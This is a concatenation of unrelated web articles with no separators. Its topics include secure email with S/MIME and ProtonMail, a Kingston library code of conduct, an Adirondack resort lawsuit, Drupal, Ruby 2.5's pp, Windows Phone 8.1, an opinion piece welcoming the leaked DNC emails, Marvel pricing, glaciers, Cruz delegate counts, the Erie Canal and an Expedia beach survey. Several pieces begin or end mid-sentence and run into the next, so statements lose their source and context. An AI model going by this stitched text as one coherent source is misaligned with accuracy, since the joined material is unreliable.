handful of options available for email clients. If you want to use public/private keys for secure email, this is a great place to start.While PGP relies on a public infrastructure for secure email (i.e. you must create and share a key, then have peers cross-sign your keys), S/MIME is an alternative protocol that centralizes trust with a certificate authority. S/MIME still uses public key encryption, but in this case also utilizes a signed certificate to verify authenticity of the keys. Users create an S/MIME certificate request with an authority like Comodo. Comodo will create a private key directly in the web browser for the email address being verified. They will then email the certificate directly to the address. Users will then install the certificate on their machine alongside the private key and can now sign emails or decrypt secure messages sent by third parties.S/MIME’s primary advantage is that it’s built in to just about every major email client available. Its drawbacks are two-fold: ProtonMail leverages PGP/GPG under the hood to power secure email as a service. Internally, ProtonMail encrypts all messages for your eyes only with a PGP public key generated when you open an account. ProtonMail’s server will also keep track of an encrypted copy of your private key. This key is encrypted with a password of your choice to which the server never has access. When you log in to ProtonMail, your password is used in a secure remote password authentication scheme. ProtonMail never has access to your password. Once logged in, a script in the browser uses your password and a salt returned by the server to derive the PGP passphrase that, in turn, decrypts your PGP private key. ProtonMail’s servers store all email encrypted at rest. It is decrypted by you on your machine after you’ve downloaded the messages and unlocked your PGP private key. This is true even for messages sent by third parties in plain text; ProtonMail’s servers immediately encrypt messages using your public key upon receipt. Senders can even encrypt messages using your public key before sending and you’ll decrypt the message locally all the same. Further, ProtonMail has exposed a hidden onion site allowing you to use their service anonymously over the Tor network End-to-end encryption is all about protecting data from one end of a “channel” to another. In some cases, this channel is a real-time communication pipeline. In others it’s a span of time across which an individual accesses the same data securely. With secure email it’s both a communication pipeline and a span of time. However, all three of these scenarios deal with somewhat large pieces of data. Come back next week for a look at ways to protect smaller pieces of data, namely secrets and passwords.Kingston Frontenac Public Library is dedicated to providing an accessible, inclusive, welcoming and safe space for the community, particularly its most vulnerable members including children, teenagers, seniors and members of our community who may be facing mental health, economic, or other challenges. It is essential that our staff have the tools to create that safe space, and this code along with extensive staff training will provide these.
Concerns expressed recently in social media posts and the local news by members of Libraries Are For Everyone are concerns that the Board of Directors shares: primarily, how do we make our services and resources available to serve the entire community? We believe that the new Code of Conduct passed at our last meeting (March 1, 2016) is part of the answer.
Kingston Frontenac Public Library is currently in the process of training our staff on the implementation of the new Code of Conduct and is actively reaching out to community partners to ensure that when what is needed by a patron is not a service KFPL offers that we are directing individuals to the resources best suited to their individual requirements. To date staff at KFPL have met with City representatives, shelters and other support organizations within the community including the Kingston Police Department and Addictions & Mental Health Services.
In Canada 1 in 5 adults will experience a mental illness in their lifetime. At KFPL, we recognize that people suffering from mental illness are much more likely to be the target of violence than to be violent themselves. The code of conduct, including strengthened language around our intolerance for violent, harassing, or abusive language is essential to our ability to create a safe space for patrons, particularly those who may be more vulnerable.
This policy is not aimed at any specific group but rather provides the tools and framework for staff to ensure that the library is a safe and welcoming environment for the community as a whole.
The Board of Directors at Kingston Frontenac Public Library always invites the community to share their ideas about how the Kingston Frontenac Public Library operates with the board. Board members can be reached via email at [email protected].
View the New Patron Code of ConductA lawsuit that delayed construction of the Adirondack Club and Resort Project in Tupper Lake was thrown out last week. The ruling removed the last legal barrier to beginning construction of the development in the central Adirondacks.
Developer Michael Foxman first proposed the 6,400-acre Adirondack Club and Resort in 2004. It is the largest development project ever proposed within the Adirondack Park. It includes a marina and big camp style homes, and refurbishes the Big Tupper Ski area. Following years of debate, regulatory hearings, and revisions, the Adirondack Park Agency approved the project in January 2012.
But Protect the Adirondacks, the Sierra Club and a landowner filed suit in March 2012 challenging the APA decision. They lost every court ruling. In July, the Appellate Division of the State Supreme Court said their claims were without merit. The state Court of Appeals last week upheld the Appellate court’s decision and denied the plaintiffs any further appeal.
Protect the Adirondacks Executive Director Peter Bauer is concerned that the APA violated resource management zoning and is disappointed that their legal options have now been exhausted. “We’ve strongly believed in the merits of this case from the beginning. The lawsuit only looked at really the impacts on the open space resources. Mostly on the resource management lands and the precedent that this project will have. We’re already seeing the precedent that it’s having because there’s another development happening in the southern Adirondacks. This had to do with the future of the Adirondacks. It was not something that was aimed at all in delaying the process.”
Plattsburgh/North Country Chamber of Commerce President and CEO Garry Douglas criticized the plaintiffs for delaying for so long a project that he says will help the economy of the Adirondack region. “The greatest crisis in the Adirondacks is not environmental. The crisis in the Adirondacks is one of economic and community sustainability. This is an opportunity to sensitively and in a common sense and well thought out and thoroughly vetted manner engage in the kind of transformational development that can move tourism in the Adirondacks, and Tupper Lake in particular, into the 21st century. It would be the height of cynicism to try to destroy a project that has the level of acceptance and approval of this one simply by delaying tactics for the sake of delaying. There’s been some of that at play here. Hopefully it’s now over.”
ARISE, or Adirondack Residents Intent on Saving Their Economy, Chair Jim LaValley believes the plaintiffs knew they couldn’t win their case. LaValley calls the Adirondack Club and Resort transformational for the region. “Besides the resort there will be changes and investment made within the community itself to have a vibrant downtown. More businesses will be opening and you’ll see an increase in work opportunities for folks. And it’s going to spin off into the surrounding communities like Long Lake, Cranberry Lake, Saranac Lake and even beyond that. So it’s incredible what opportunities are going to be available.”
Construction of the Adirondack Club and Resort project is expected to last 15 to 20 years. Groundbreaking is expected to begin in the summer of 2015.I’ve been using Drupal, an open source content management system (CMS), for the websites I manage for over four years now. Though there may be some quirks in working with an open source product, I cannot imagine doing it any other way.
Hesitations people may have when considering whether to use an open source product probably include the fact that you can’t just submit a helpdesk ticket when you run into a problem and expect a response within two business days. Most of the time, no single company or entity exists behind an open source project, like with a proprietary system. Instead open source has communities.
When you’re building your own custom system in-house, or you’re using another company’s proprietary software, there are a limited number of developers (your in-house developers or that company’s development staff) who are working on the system’s features. When you’re using an open source project, on the other hand, there are a far larger number of contributors as part of the community around the project. As an example, drupal.org recently reached 1 million accounts. Drupal.org, at the time of this writing, counts the number of developers as 32,468, however, many users contribute to the community without committing patches, so the number of contributors is much larger.
This single fact is open source’s greatest strength. As soon as a web trend emerges, and a customer notices it and asks me to include it on a website, chances are that someone else in the Drupal community (or a combination of people) will already have written up a module for that functionality. For example, when social sharing links started popping up, and a customer wanted to include them on their web pages, there were already a variety of Drupal modules that provided that functionality. I tested them, chose the one I liked, and easily included the feature on the website without writing a single line of code.
Similarly, creating clustered maps became a new feature on websites at one point. When our need to map North Carolina-based bioscience companies emerged, I was again able to find two stable modules that could do most of what we wanted (as a disclaimer, I did have to patch one of the modules to get it to do exactly what we needed, but it was a far cry from having to write a module myself).
When the new HTML 5 standard came out, the Drupal community immediately started creating new themes and improving existing ones to output HTML 5 and to take advantage of the improvements.
In short, when there is some new feature or improvement that is web-related, the active participants in the Drupal community are on it. All I have to do is search around to find solutions to almost all of my web-related needs. Most frequently, all I have to do is download a module that provides the functionality I need or update an existing module, as they are constantly expanded and improved by community contributors. That’s the real power of the open source community.
Contributing to the community
Now, of course, it’s not recommended that you sit around and let everyone else do the work. If we all have that attitude, there would be no open source projects. There are many ways to get involved in helping out with the open source projects you use. I’ve written patches to remove bugs or extend the features of modules, I’ve tested other people’s patches that needed testing and even just contributed to the documentation online, which is also community generated. Testing patches that others have written and enhancing the documentation is something that can be done even if you don’t write code.
Let’s say that I’ve contributed to 20 modules in one of the many ways described above. That may sound like a lot, but consider this: I use as many as 97 modules (in addition to core modules) on my busiest Drupal site. So you see how much we can all gain if each of us contributes a little.
It doesn’t matter how capable or active I am in the community. It would take me eons to write every web feature that I want to use from scratch: the ability to have comments, customized accounts for logged in users, social media sharing buttons, drop-down menus, clustered maps, customizable search interfaces, newsletter subscriptions, and so many more. Without being able to leverage the thousands of developers out there who are increasing the security, capabilities, and visual appearance of Drupal, I’d be able to accomplish so much less on my own.
Be aware of these differences
Cost
Whereas with a proprietary system you pay to use the system and for any related tech support, when you choose to use an open source software system, you get the system itself for free. Your cost comes from whether you choose to have an administrator and/or developer who can customize it for you and who knows how to work effectively in the open source community. Particularly if your needs require a lot of complexity and customizations, this very well may be a necessary expense (and may not be cheap).
Flexibility
Having an in-house developer working within an open source community will likely mean that you will get your customizations faster and more reliably than by requesting a brand new feature with a company whose system you’re using. Outside companies likely have many clients, and thus many requests, and yours may languish in a queue.
The decisions are community decisions
Sometimes you want to take the system or a specific module in a certain direction, but the community or the module maintainer may not. Most of the time, the opinion of the majority is the correct one. However, there can also be problems with the community model. For example, modules can become abandoned by their original authors and maintainers, and not in the planned, thoughtful "this feature will be deprecated" way of companies with proprietary products who give you a chance to stop using a feature over time. For various reasons, modules can just be abandoned. With active modules which have many users, this isn’t as likely, since others in the community would probably step in and help, but I’ve seen it with smaller modules on more than one occasion.
Additionally, the community or module maintainers may not agree with you on how a module should grow or evolve. I’ve seen module issues which are two years old with long discussions and participants numbering close to the 100 mark discussing not who should solve a particular technical bug, but how and even whether it should be solved. Sometimes different users want to use the same feature in a different way, and in cases like these, the module maintainer (a volunteer position) or a veteran Drupal contributor, may have a lot of sway, regardless of majority positions.
In Drupal, however, even if the community goes in a different direction with a module than you want, you can also write your own custom module that you can use, alone, and is separate from the community’s store of contributed modules.
These are just some of the subtleties of working with an open source software project. You have to learn how the community works, how you can contribute, how to report problems, test solutions, and contribute solutions yourself, as well as, what the limits may be on getting fixes and improvements. Each community has a different level of activity and a different number of users, both of which will affect the speed with which fixes and improvements of the product are generated.
In any case, you will get to use a whole bunch of code for free that is the result of tens, hundreds, perhaps thousands of individuals' work—a number you probably cannot afford to have on your payroll. And yet, with open source projects, you can get all the benefits.The MyBookBuyer Spring 2014 Scholarship is now closed!
Stay tuned for the Fall 2014 Scholarship COMING IN AUGUST!
Here at MyBookBuyer.com, we believe in providing college students with opportunities, experience, and something to do between all-night cram sessions. That’s why fully half of our staff are students. We also know better than most how much textbooks can cost, which is why we started the Textbooks For a Year Scholarship essay contest, to give students the opportunity to win enough to buy their textbooks for a whole year.
The MyBookBuyer.com Textbooks For a Year Scholarship essay contest was first established in 2009. We strive to enhance educational opportunities for students by conducting this scholarship contest twice every year (Spring and Fall).
Feel free to view some of our past winners and award winning essays here.This blog is part of our Ruby 2.5 series.
Ruby 2.5.0-preview1 was recently released.
Ruby allows pretty printing of objects using pp method.
Before Ruby 2.5, we had to require PP explicitly before using it. Even the official documentation states that “All examples assume you have loaded the PP class with require ‘pp’”.
>> months = %w(January February March) => [ "January", "February", "March" ] >> pp months NoMethodError : undefined method `pp' for main:Object Did you mean? p from (irb):5 from /Users/prathamesh/.rbenv/versions/2.4.1/bin/irb:11: >> require 'pp' => true >> pp months ["January", "February", "March"] => ["January", "February", "March"]
In Ruby 2.5, we don’t need to require pp. It gets required by default. We can use it directly.
>> months = %w(January February March) => [ "January", "February", "March" ] >> pp months [ "January", "February", "March" ] => [ "January", "February", "March" ]
This feature was added after Ruby 2.5.0 preview 1 was released, so it’s not present in the preview. It’s present in Ruby trunk.Microsoft's new major update for Windows Phone mobile operating system has been confirmed for release next month.
Following the announcement at its Build Developer Conference earlier in April, Microsoft released the Windows Phone 8.1 Developer Preview version in the middle of the same month. The Developer Preview version has received a few updates with bug fixes and other improvements.
There have been several reports suggesting the official roll out of Windows Phone 8.1 although there was no official word on the same. Now a tweet from Microsoft India confirms the official availability of Windows Phone 8.1.
Microsoft will release Windows Phone 8.1 update to the existing Windows Phone 8 users during the first two weeks of July. It is unclear if the July release is for India only but this does hint the global roll out. Note that the release and availability of the update depends on the market and carrier networks.
This confirmation goes well with the previous roadmap leak, which suggests the Windows Phone 8.1 update schedule for Nokia's Lumia branded handsets such as Lumia 920, Lumia 820, Lumia 620, Lumia 520, Lumia 720, Lumia 925, Lumia 1020, Lumia 625, Lumia 1520 and Lumia 1320. The update is expected to be released in July and continue in August.Photo: AP
One bizarre strain of analysis about the recent hack of the DNC’s emails is: “Hey, the real story here is that Russia is trying to influence our election, which is bad.” That’s crazy!
Let us accept, for the moment, the assertion that this hack was perpetrated by the Russian government for the express purpose of influencing the U.S. election—an assertion that remains very much unproven. Let’s say that Vladimir Putin had his people steal all the DNC’s emails, passed them to Wikileaks, and then had Wikileaks put them out on the eve of the Democratic convention, hoping to embarrass the party and Hillary Clinton.
From a strictly journalistic perspective: so fucking what?
News is news. The emails that came out in the DNC hack had real news value. They had so much news value, in fact, that they got the (corrupt!) head of the DNC deposed from her job. They had so much news value that the DNC was forced to issue a groveling apology to a major presidential candidate because of the “inexcusable” behavior exposed in the emails. Absolutely no one anywhere of any political persuasion can argue that the DNC hack did not contain serious, meaningful, valuable news that added significantly to the public understanding of the operations of a major political party during the course of a presidential election.
So, if Russia really did get these emails released, I say: Thanks, Russia. News is news. When Chelsea Manning and Edward Snowden broke the law in order to release troves of newsworthy emails that meaningfully increased public understanding of secretive, powerful government operations, they did something good. I thank them, too. Whether or not you think that both of them should be in jail is a secondary issue. Even if you believe that they are vile criminals, that does not change the news value of the information they helped release. We, the media, whose job it is to get valuable information like this out to the public, should be pleased that this valuable information was released. It’s news. Its origin is also news, and it is also worth discussing, but it is certainly not more important than the actual substance of what was released.
Despite this fact, people like Paul Waldman in the Washington Post would have you believe that Russia’s attempt to influence our election is the real story here, and that, bolding mine, “the political reporters covering it have gotten distracted by the content of the emails.” This is like arguing that Edward Snowden’s personal motives in releasing the NSA information were more important than all of the information that he released. It is the ass-backwards product of a “politics is everything” mindstate. It leads professional journalists to argue that it would be preferable if the release of important and valuable information about powerful political institutions never happened—in essence, that they would prefer that the public know less.
Also, the pundits who are dropping their monocles in their soup over this “strike against our civic infrastructure” by a foreign government should recall that that U.S.A. has meddled in a few foreign governments in our time. We might not want to hang our outrage on that one.Hi Tom, (PART 1) Let me add my 2 cents as another retailer. The biggest problem with maintaining sales is price. Going from $2.99 to a $3.99 price made a lot of buyers make hard decisions. If there is one thing that I wish Disney had done when they purchased Marvel it would have been, drop the price to $2.99 on all new launches. Considering what the cinema branch produces, they certainly could have subsidized the publishing branch a bit. You would've blown your competition out of the water. Jeff
This is a good question to address with a retailer, as you’ve got some strong firsthand information about it, based on your own sales history.
So let me walk you through some thinking. See if this makes sense and holds water for you.
I agree that the higher price point makes it more difficult for readers to buy as many books, and so they need to make choices about what they’re going to spend their dollars on. Where I disconnect a little bit is in the thought that if the books were cheaper, tons more people would sample them and buy them—enough to make up for that difference in price.
So let me turn this around on you a little bit.
As a retailer, assuming that all other things are equal, you’re making a greater profit on your $3.99 books than you are on your $2.99 books. It’s pretty straightforward math—three $3.99 books bring in as much revenue as four $2.99 books.
Now increase that by a hundredfold. You’d need to sell 400 $2.99 books to make the same money as you did from 300 $3.99 books. So you’d need to entice an additional hundred readers to sample and buy, simply to remain in the same place.
I don’t know the specifics of your store, but I do know the state of the market as a whole. But in your shop, do the $2.99 books perform that strongly over the $3.99 ones, regardless of content? I don’t think so. You might get more readers on a $2.99 launch, but proportionate to that 400-300 ratio? I don’t think so, not routinely.
This is why we do what we do.
The books that we launch and run at $2.99 as new series launches are the ones that have the toughest time, and the ones that are the most likely to be cancelled, because they need to work harder to meet the same margin. This is also why, when we have a title like SUPERIOR FOES that we think has an audience ant that we want to keep around, we’ll increase it’s cover price to $3.99. That’s no fun for anyone—but it does ensure that the book is operating within a healthier margin more easily.
And the idea that the cinema branch should subsidize the publishing branch is nonsense. That’s no way to run a business. Marvel publishing is very healthy and very profitable, and that is what will keep it around and keep it viable. Being the tail on somebody else’s dog is a good way to find yourself without an industry. Marvel continues to be able to forge its own destiny because Marvel makes money, consistently and year-round. If that wasn’t the case, publishing would have been shuttered ages ago.Most vintage motorcycles look spindly and fragile. Others look bulbous and unbalanced to modern eyes. But a select few—Vincent included—look hunkered-down and purposeful, and strangely modern: their aesthetic balance has endured.
Excelsior is a name that can be added to that list, as long as you get the right Excelsior—because there are at least eight motorcycle manufacturers who have used that brand name (meaning lofty, or higher) in the past. The 1937 Excelsior we’re looking at here was produced by Britain’s very first motorcycle maker—the firm of Bayliss, Thomas and Co.
The company has an interesting history: after making its name with penny-farthing bicycles, the Coventry-based outfit created the Excelsior motorcycle brand in 1910. Three years later, on the eve of the Great War, it brought out an 800 cc single cylinder motorcycle—the biggest production single ever to be made.
Excelsior used engines from the likes of JAP, Blackburne and Villiers, and following the War, took to the racetrack to promote their bikes. After experimenting with a Blackburne-made racing engine, Excelsior created a simpler and sturdier design of its own—the Manxman. This thumper was produced in capacities of 249, 348 and 498 cc, and the machine featured here is the ‘big’ Manxman.
The company closed in 1965, but there are still a few early models around. The motorcycle in the pictures was recently sold by the leading Dutch dealer Yesterdays, and described as a “well-restored, super fast machine”. If you have a few minutes to spare and like classic motorcycles, the Yesterdays website is well worth investigating.“On economic issues, China has more and more leverage,” said Wu Xinbo, the director of the Center for American Studies at Fudan University. “If we feel he is still pushing the Taiwan issue, we will take action. If he wants to keep it up on Taiwan, it will only backfire.”
American trade officials worry that China could intensify its discrimination against American technology firms by using the country’s antimonopoly laws. Last year, the Chinese government slapped a $975 million fine on Qualcomm, a San Diego-based chip maker, for what it said were licensing infractions.
A few years ago, there were worries that China might suddenly dump a large portion of its holdings of Treasuries, pushing up interest rates in the United States. Those fears ebbed as China pared its holdings gradually. Its holdings of Treasuries peaked at $1.65 trillion in March 2014, declining to about $1.3 trillion, said Brad Setser at the Council on Foreign Relations.
Experts say that even if the country sold more, it may not have much effect because interest rates are already low, global demand for Treasuries has been strong, and the Federal Reserve could buy more bonds if needed to offset action by China.
China could also weaken its currency, something Mr. Trump has argued it already does to make its products cheaper. But that could also result in more Chinese taking their money out of the country, as well as inflation for a nation that increasingly buys what it needs from abroad, like oil, because a weak currency means China must pay more for imported goods.
Finally, China could order its state-owned companies and private enterprises to slow their investments in the United States. A recent study by the Rhodium Group, a New York-based economic policy outfit, showed that since 2015, the amount of Chinese direct investment in the United States has outweighed the amount of American investment in China.
North Korea
Mr. Trump said on Sunday, “And frankly, they’re not helping us at all with North Korea.”
China has in fact cooperated with some American initiatives on curbing North Korea’s nuclear program, specifically backing United Nations economic sanctions last month aimed at checking the North’s foreign exchange earnings from coal, its biggest export earner.Last February, I wrote an article about Cartoon Network's Regular Show and how it speaks to the 80s generation of gamers with genuine love and attention to detail. Whereas other shows make only cursory, often disparaging references towards the medium, Regular Show recognizes that games have long been cultural artifacts that deserve just as much respect as film or music. In other words, the show "gets it."
Regular Show is easily one of my favorite TV programs, so you can imagine how excited I was to be given the opportunity to interview series creator J.G. Quintel. He explained how influential gaming was to him during his youth as well as how important it was for that influence to be reflected as accurately as possible within the show. He also talks about his being the only family in the neighborhood with a Sega Master System and how his dream Regular Show videogame would play like ToeJam & Earl.
The interview was conducted by telephone on March 21, but rather than leave you guys with a simple mp3 of the conversation, I decided to turn it into an extremely ghetto, 20-minute slideshow. I apologize if the audio is difficult to make out, especially during the times when I talk over J.G. like a total ass. Since our incoherent mumblings may be too much to handle, I've transcribed of few choice highlights past the break for your benefit.
00:27 -- Regular Show was green-lit as part of a push to "age up" Cartoon Network.
01:25 -- "2 in the AM PM," one of J.G.'s short films that served as prototypes for Regular Show, contains cursing and drug use. Yep, definitely child-safe material!
02:09 -- "Weekend at Benson's" is an episode that spoofs the 1989 comedy Weekend at Bernie's, with the important distinction
|
Himalayas where most glaciers are shrinking, say researchers.
That story is one which is being repeated globally, say the World Glacier Monitoring Service (WGMS) and has been since the end of the Little Ice Age around 150 years ago.
WGMS estimate that since 1980 the cumulative average thickness loss of monitored glaciers across the world has been 11.3 meters.
Despite the overall picture of retreat, there are instances where glaciers are able to re-advance and Karakoram is an example, says WGMS director Michael Kemp.
"The Himalayas is the highest mountain range on Earth with the highest elevation difference. It's a huge area. So we expect regions (of it) to act a bit different," Kemp said.
JUST WATCHED Seeking a solution to global warming Replay More Videos... MUST WATCH Seeking a solution to global warming 02:33
Kemp told CNN at the time that the data, which found its way into their Fourth Assessment Report (AR4), was flawed, saying there were "simply no observations available to make these sorts of statements."
But this most recent work using satellites is of great value, he says, giving a picture of what is happening in a region where data has traditionally been scarce due to its remoteness and political issues -- the Karakoram range borders India, Pakistan and China.
Despite the slight gains, Gardelle says, the message on climate change remains the same.
"Global warming is far from spatially homogeneous and continuous with time. In our warming world, there are regions of the Earth where, during a few years or decades, the atmosphere is not warming or even cooling," Gardelle said.
"Karakoram may be one of those, but we lack consistent high elevation weather station to conclude firmly on this."Clock Winds Down on Cruz Campaign: 10 Days Until Elimination
Guest Post by Joe Hoft
On April 2nd we predicted that even with a Wisconsin win, Cruz would be mathematically unable to reach the delegate count required for him to win the Republican Presidential nomination by the end of April. “Actually” we noted, “in only 3 weeks, on April 26th, Cruz will be no longer able to win enough delegates to win the Republican nomination.”
The delegate count now looks much worse for Senator Cruz.
Shortly before Wisconsin Cruz had 463 delegates and Trump 736, now two weeks later Cruz has 545 and Trump 755. Cruz picked up less delegates than we predicted in Wisconsin (36 to 40) but he did manage to ‘gain’ delegates in Colorado in the shady ‘voter-less’contest Real Clear Politics calls a caucus.
Below is our estimate of the delegate count by the end of April as reported April 2nd –
(Chart by Joe Hoft)
It seems that the Colorado debacle may have hurt Cruz more than it helped him. Trump is leading in all of the East Coast states coming up for election – New York 53% (+32), Pennsylvania 43% (+16), Maryland 40% (+14), Connecticut 50% (+24) with no recent data from Rhode Island and Delaware. Based on the current poll data and assuming Rhode Island and Delaware are consistent with their sister states, it looks like Trump could win all the delegates in New York, Connecticut, Delaware and Maryland based on the primary rules in these states while cleaning up in the other two.
Ted Cruz is currently polling in third place in all these states except Pennsylvania.
As we noted on the 2nd, “Even if Cruz wins a third of the delegates in Rhode Island or Connecticut or any of these states, it will not be enough to keep him mathematically in the race.”
Now it looks like Cruz will not only be mathematically eliminated from obtaining enough delegates to win the election outright by April 26th, he may also have fallen to third place in the polls by the end of April, too.
(Chart by Joe Hoft)
Based on current conservative estimates, come April 26th, Cruz will need 657 delegates to win the election but only 585 will be left leaving him mathematically out of the race.
Trump will only need 279 delegates or less than 50% of the delegates remaining to win the nomination.
And according to our conservative estimates – Trump should gain 1237 delegates by June 7th making him the Republican nominee.Barge Traffic Increases Along Erie Canal
New York's Erie Canal is reviving its history to again be an economic corridor for commercial shipping through upstate New York — after decades of being mostly used by recreational boats. Shipping from Canada it expected to lead to a level of commercial traffic not seen in decades.
RENEE MONTAGNE, HOST:
The Erie Canal was cut through upstate New York almost 200 years ago. It opened up new shipping routes to the West and proved to be an economic lifeline for the Great Lakes region. The canal fell out of favor as faster transportation methods, like the railway, became available. But lately, it's been getting a second life.
Here's Ryan Delaney of member station WRVO.
RYAN DELANEY, BYLINE: On a rainy morning, the tugboat Margot is preparing to head down the Oswego Canal. This waterway is part of a network of canals ultimately connecting New York City with Buffalo and the Great Lakes to the west.
DENNIS WASIEWSKI: The Margot, lock 8.
UNIDENTIFIED MAN: (unintelligible)
WASIEWSKI: Good morning. We're looking to go southbound here in about five minutes.
DELANEY: The Margot will be pushing one of two 15-ton barges full of corn it brought across Lake Ontario from Canada the day before. It's this Canadian grain that's driving the resurgence in traffic on the canals. The Margot has had a busy spring. And Captain Dennis Wasiewski just got word its orders will double.
WASIEWSKI: Last year, we got real busy and this year we're getting a lot busier. We're over 50 percent more this year than we were last year this time.
DELANEY: Wasiewski has found more work on the canal as business has increased. He started working the tug full-time this year.
WASIEWSKI: Slowly coming back, hopefully. We get everything right, some nice commerce on here again. That's what this was built for - commercial.
DELANEY: The Margot will pass through three locks this morning. Much of the corn is destined for an ethanol plant five miles inland, though the trip takes about two hours. Despite the slow going of canal travel, moving freight by water has its advantages, namely fuel costs. What can be moved 60 miles by truck on a gallon of fuel can go more than 500 miles by tug and barge.
The Erie Canal opened in 1825 and upstate New York's biggest cities grew up along it. Freight passing through the 500 miles of narrow waterways and locks peaked at five million tons at the middle of last century. Once the interstate highway system and competing St. Lawrence Seaway to the north opened up, that number dropped way off.
As commercial shipping slowed to just 10,000 tons a year, recreational boats became the dominant user of the canals. They still are. But more and more barges are traveling through the locks again. Last year, the canals saw four times their average freight. And this year, the Canal Corporation is expecting to see more than 100,000 tons shipped through New York's waterways.
Canal Corporation director Brian Stratton says as more crops come in from Canada, thanks to new laws governing the industry, the canal just happens to be in the right place again.
BRIAN STRATTON: This system is still here. So it's an opportunity really to go back to what made this state great. And to use a tremendous infrastructure that 189 years later is still going strong.
DELANEY: At the end of the Oswego Canal, on the windy shore of Lake Ontario, the Port of Oswego has been increasingly busy, too. Director Jeffrey Daniels says for a long time, the canal got away from what it was built to do. [POST-BROADCAST CORRECTION: The executive director of the Port of Oswego is JONATHAN Daniels.]
JONATHAN DANIELS: I think the canal was kind of marginalized at that point. They've done a good job of resurrecting that and bringing that and putting focus on it and realizing that it is a viable part of the waterway system. I mean, that was the superhighway. That opened up the West and it's still viable today.
UNIDENTIFIED MAN: Lock 7 (unintelligible)
WASIEWSKI: OK, thank you very much. Appreciate it.
DELANEY: Back down the canal, Margot captain Dennis Wasiewski is finding out the canal is being shut down due to high water levels. That means the Margot will only be making one of its two scheduled trips today. So the tug will be idle for a few days. But the crew is still expecting a busy summer.
For NPR News, I'm Ryan Delaney in Oswego, New York.
(SOUNDBITE OF MUSIC)
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Copyright © 2013 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
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CHAMPAIGN — A quarter-century ago, the nighttime heart of Campustown was lit by two bright signs, the Co-Ed Theater marquee and Mabel's, now both gone.
But Mabel's, where there was music almost every day of the month, is coming back for one show Saturday night at Brothers Bar & Grill, which now occupies its former space in the top floor at 613 E. Green St., C, above Spicy Tang.
There were national and international acts like Alice In Chains, Cheap Trick, the Edgar Winter Group, Hum, Husker Du, Koko Taylor, Joan Jett, Sam and Dave, and Soul Asylum.
There were local acts that always seemed on the verge of making it big: B-Lovers, the Elvis Brothers, Last Gentlemen, Otis and the Elevators, Menthol, Poster Children, the Vertebrats...
"There were 50 bands that could draw a large crowd back then," says Paul Faber, who became a co-owner "by accident" in 1981 when he thought he would be a silent partner.
Faber ended up working long hours, and was a familiar face, with thick hair piled up high in a pompadour.
He says people accused him of aping Buster Poindexter, who had a huge hit in the late '80s with "Hot Hot Hot."
But Faber notes that the man behind Poindexter, David Johansen, had played at Mabel's years before adopting that alter ego, after breaking up with the protopunk New York Dolls.
Besides the local and national acts, you could even see a local guy who was also a national act — Adrian Belew, who played with Frank Zappa, David Bowie and Tom Tom Club while making solo records for several years in Urbana.
Rob Arrol of local band dick justice loved rubbing shoulders with the big acts.
"The big revelation to me when opening for national acts was that bands with label backing and a tour bus were really not that different from the bands with no backing and slugging it out in the clubs," he says. "We were all in the same boat, essentially. I have great memories of Jim Ellison (of Material Issue) sitting through our sound check and giving us tips on how to better tweak our amps for the room."
After opening for the Goo Goo Dolls, Arrol shared a beer with bassist Robby Takac "while both of us waited to get paid."
"The Goo Goo Dolls were touring in support of their album 'A Boy Named Goo,' and their single 'Name' was climbing the charts. I was dumbfounded to learn they had similar challenges and obstacles that my band was facing, but on a somewhat larger scale," Arrol says.
Another local regular was Mark Rubel, who played in Captain Rat and recorded bands at Pogo Studio in Champaign.
He recalls his band's Christmas shows, as well as:
"The Cramps. The night John Lennon was assassinated that I ended up subbing for J.B. Hutto and the Hawks, opening for George Thorogood. All Vertebrats shows. John Lee Hooker. Adrian Belew. Elvis Brothers, Kool Ray and the Polaroidz. Cheap Trick. George Faber jams, always fun."
There was something almost every night.
"It was amazing how people would just go there to be part of the scene, no matter who was playing," Rubel says.
Among the scheduled bands for Saturday's reunion are Last Gentlemen, Nix '86, The Martyrs, Three Hour Tour (Darren Cooper/Parasol Records), The Jans Project (B-Lovers/Turning Curious), The Surly Bells (Ken Draznik, Jimmy Wald and special guests) and Charlie "The Quaker" Edwards, who will DJ between bands.
Wald stresses that it is not a Vertebrats reunion for him and Draznik.
"Kenny and I are really focused on The Surly Bells and the new songs that we have written, and we are excited about our musical collaboration circa 2016," he says.
Many of Wald's fondest memories "had mostly to do with our fans/friends, and the tremendous times we all had together."
"While we were proud of what we accomplished as a band, we were equally if not more proud of the path we helped to blaze for other groups that played contemporaneously with us, and those that were to follow in the years after we were no more," he says.
Lifelong friendships were made, he adds.
Draznik, too, loved the club.
"I will say that I always thought Mabel's was a nicer club than almost any that we ever played, anywhere," he says. "Jimmy and I could not pass up the opportunity to play music in that space, and we're thrilled that our good friends Nick Rudd, Steve Scariano, Todd Fletcher and Terry Wathen are helping us out by making us sound so much better than we really are."
Arrol says "everyone that worked there was what I'd call 'hardcore cool.'
"They were their own little family and seemed very protective of what they had built and supported. It was only after you played there a few times, were consistently friendly and established a connection that you started to feel welcome."
Memories of a former Mabel's regular
I drank my fair share of beer at Mabel's in the 1980s, and less so in the '90s. Some memories:
Went to almost every Vertebrats show there, and a lot of shows by Combo Audio, a Police-like trio, because a friend liked them.
Long lines for the bathrooms on the big nights, and the odor of vomit.
Christmas Eve 1983, so cold that even a huge crowd for George Faber couldn't warm up the place. The high that day was minus 12.
Husker Du ripping up my eardrums.
Eric Burdon of the Animals and an interminable rap during "Sky Pilot."
If you go
What: Mabel's reunion.
When: Doors open at 6 p.m. Saturday.
Where: Brothers Bar & Grill, 613 E. Green St., C.
Tickets: $17 in advance, $20 at the door.
Information: facebook.com/groups/37981224717.The world's beachgoers don't mind nudity or toplessness so much, according to an Expedia study. Beachgoers in Brazil are especially accepting of it. (Photo11: USA TODAY/Nancy Trejos)
Beachgoers around the world don't get too bothered by public nudity and Speedos. But they do break a sweat when it comes to a possible shark attack.
That's according to Expedia's annual Flip Flop report to be released Tuesday. The study, commissioned by the online travel agency and conducted online by research firm Northstar, gauged the behaviors and preferences of 11,165 adults across 24 countries in five continents.
For the third consecutive year, Germans were the most likely to sunbathe fully nude, with 28% saying they have spent a day at the beach in the buff. But for the first time this year, Austrians tied them.
Worldwide, more men than women prefer to sunbathe nude.
BARE NECESSITIES: Tips for nude vacation newbies
Women, especially Europeans, were more likely to go topless. Nearly half of Austrians — 49% — were likely to sunbathe topless. Spaniards and Germans followed closely behind.
